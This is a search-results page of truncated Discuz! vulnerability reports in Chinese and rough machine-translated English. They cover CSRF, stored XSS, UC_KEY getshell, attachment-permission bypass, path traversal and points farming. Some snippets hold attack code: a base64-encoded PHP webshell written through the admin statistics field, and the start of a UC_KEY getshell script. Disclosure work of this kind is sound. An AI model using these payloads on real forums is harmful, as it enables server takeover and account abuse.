618 matches found
Discuz! X2.5 / X3 / X3.1 可CSRF删管理员账号
简要描述： 接着上次的漏洞来…… 详细说明： 上次那个漏洞： WooYun: Discuz! X2.5 / X3 / X3.1中CSRF攻击防御可被绕过 你们回复说是程序员认为不需要校验才这么设置……那这回应该算是你设计问题了吧 后台删除用户页面只是单纯做了submitcheck'submit', 1，按之前的说明，程序这里没有判断formhash，也就是说可以用于CSRF 不过利用这个漏洞前提是要管理员登陆了后台，不过这个不会很麻烦吧（比如故意加点关键字进审核然后让管理员触发神马的，实在不行还能发帖钓鱼） 漏洞证明： 发帖插入 Discuz! 代码：...
Discuz! X2.5 / X3 / X3.1中CSRF攻击防御可被绕过
简要描述： 写插件的时候偶然发现的...可绕过Discuz自带的CSRF攻击 详细说明： discuz在判断表单时用这个函数： submitcheck'submit', true 其中第二个参数本来应该是是否允许GET请求的选项。 在X2.5 / X3 / X3.1中，第二个参数为true时竟然不判断formhash直接return true了…… 使用批量搜索工具搜索discuz源代码里的submitcheck, ……然后发现官方也用了这种写法，尿了尿了 另外表示X2和之前的都没看过，不确定是否有问题。 我本地的X2.5 X3 X3.1这个文件基本都一样…… 漏洞证明：...
Discuz! 7 /wap/index.php 代码执行漏洞
No description provided by source...
Discuz! X3.1 刷积分漏洞
简要描述： X3.1 利用特殊主题进行刷分 详细说明： 首先论坛需开启悬赏贴，如不开启，则无任何的影响。 具体步骤： 1，使用主号发布悬赏贴，其他号进行回帖。 2，主号打开2个窗口，1个窗口为采纳最佳答案的帖子，另1个窗口打开帖子的编辑。 然后，先采纳答案，然后把编辑的窗口，保存。 此处会发现帖子会变成未采纳，还可以继续采纳，但是主号的金币并没有在扣除。 漏洞证明：...
Discuz! X3. 1 Background to arbitrary code execution can take shell-vulnerability warning-the black bar safety net
See someone ask Discuz! X3. 1 Background how get shell, download it a look, before someone says HTML generation can take the shell, I yesterday the official website to download the version found, the static file extensions, limiting the htm/html. If the server does not exist parsing vulnerability...
Discuz! X3.1 Release 20140301后台拿shell真的修复了吗
简要描述： 之前写的几个后台拿shell，Discuz!忽略了，但新版本Discuz! X3.1 Release 20140301实际上有所加强，但是真的修复了之前提到的问题吗？ Discuz!大概做了下面几个改动： 1.统计代码处，对 "和 "" 的被转意了，那就用 ，经过测试，尖括号未被转意。 下面来重现过程： 1.先上传一张版本图： 2. 全局-站点信息-网站第三方统计代码, 里面插入我们要执行的php代码，如下： fputsfopen't.php',w,base64decode"PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="; 3.工具 - 更新缓存,...
Discuz attachment download permission bypass method-vulnerability warning-the black bar safety net
Ultra vires download contain a“Read permissions”plug-in, download plug-in free snap coin To reproduce the steps of: 1, Using the administrator account, Upload a high reading permissions of the attachment 2, The use of low-privileged user account, download the attachment, this time, Discuz will...
Discuz! X 储存型XSS (X1 ~ X3.1最新版)
简要描述： Discuz! X 储存型XSS一枚，存在于X1 X3.1最新版 详细说明： 发表帖子时，Discuz对于其中的ed2k链接做了解析处理，虽然对于链接中的名称等进行了处理，但是未对传入的文件大小做处理（转为int），造成了XSS。 ed2k地址形如：...
Discuz! X3.1 刷分系列漏洞之2
简要描述： Discuz!X最新版本（及部分旧版本所存在的刷分漏洞） 这几天整理DZ的刷分漏洞，原本打算出个系列发上来，结果发现不少漏洞都已经fix了，这可能已经是系列的最后一个了吧。 详细说明： 在使用“千斤顶”道具时，使用的数量缺少负值判断 上面的一句话已经很清晰地说明问题了，所以这里就不分析的很详细了 使用“千斤顶”道具时，会调用以下文件： source\class\magic\magicjack.php 在该文件的57行开始，是使用道具的部分： function usesubmit ... $magicnum = intval$GET'magicnum';...
Discuz某处XSS劫持UC_KEY（XSS应用详细过程）
简要描述： Discuz某处XSS劫持UCKEY到拿webshell。 XSS应用的详细过程。 详细说明： 漏洞： 这个漏洞的位置在Discuz的门户功能处。 在发表文章时，打开“编辑源码”功能时，写入任意XSS CODE后，再进入和输出都没有过滤。导致存储型XSS。 大家都知道，这里的XSS虽然可以劫持到用户和管理的Cookies，但是没什么用，无法登陆。 那么，我们可以想办法拿XSS来干点其他的，比如劫持管理员后台内容，如UCKEY等。 门槛： 因为默认安装情况下这个门户功能是没有配置的。 所以管理员需要手动配置门户功能。大部分都会开启门户。...
Discuz附件下载权限绕过
简要描述： 绕过附件下载权限只是漏洞的一个应用，还可以免费下载附件，其他的应用还没发掘.. 详细说明： 在下载附件的时候，附件所设置的“阅读权限”可以被绕过。 Discuz的附件下载地址是类似 forum.php?mod=attachment&aid=Nzg4fDQwNGQzYjMxfDEzODk2OTM4Mzh8MzEyNTR8MjY3Mw%3D%3D 这样的地址，其中的aid参数是一串base64，解码后是： 788|404d3b31|1389693838|31254|2673 这串aid在source/module/forum/forumattachment.php 中被这样解析...
Discuz use UC_KEY be getshell-a vulnerability warning-the black bar safety net
From:http://www. tick. org/bugs/tick-2 0 1 4-0 4 8 1 3 7 ? php // Code copyright belongs to the original author all! $timestamp = time+1 03 6 0 0; $host="127.0.0.1"; $uckey="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5waofq6j285ca33i151e551g0l9f2l3dd";...
Discuz的利用UC_KEY进行getshell
简要描述： 知key得shell。 详细说明： $configfile = pregreplace"/define'UCAPI',\s'.?';/i", "define'UCAPI', '".addslashes$UCAPI."';", $configfile; 这句代码是有漏洞的。 如果我第一次提交的是 ';phpinfo; define那句就变成了 define'UCAPI','';phpinfo;'; 那么我下一次提交呢？ 非贪婪匹配会匹配到 define'UCAPI',''; phpinfo;就留下来了。 漏洞证明：...
Discuz! x3.1 index.php 代码执行漏洞
No description provided by source...
Discuz plug-in arbitrary File Download vulnerability-vulnerability warning-the black bar safety net
A txt,word Online Preview of the plug-in,Plug-In address: http://www.discuz.net/forum.php?mod=viewthread&tid=3 1 6 9 5 5 6 AppleScript $doc=$GET'doc'; $doc="../../../".$ doc; $filename=$GET'filename'; $ext=$GET'ext'; //set file type if$ext=='doc' $ext="application/msword"; if$ext=='xls'...
Discuz! x3.1 /utility/convert/index.php 代码执行漏洞
No description provided by source...
Discuz! x-Series conversion tool any to write code that vulnerability-vulnerability warning-the black bar safety net
Discuz! x-Series conversion tools exist to any code written to exploit, tick on the pig man and also a great brush rank also brush almost, today know that there are children's shoes has been announced! so, the release of prior learning python to write of the exploits exp, just to practice hand...
Discuz a plug-in to any local download vulnerability-vulnerability warning-the black bar safety net
Author:y0umer Plug-in download address: http://www.discuz.net/forum.php?mod=viewthread&tid=3 1 6 9 5 5 6 Then look at the code: $doc=$GET'doc'; $doc="../../../".$ doc; $filename=$GET'filename'; $ext=$GET'ext'; //Set the file type if$ext=='doc' $ext="application/msword"; if$ext=='xls'...
Discuz! X latest Getshell vulnerabilities EXp(comes with the plug-in)-bug warning-the black bar safety net
dz0day published In fact, we're knife inside has been playing the scrap -. - By worship under the maniac a large cattle... === Looking at before we begin to be like the clouds submitted to the author of the tribute, because it is He that title only makes us sharp knives team to research out, of...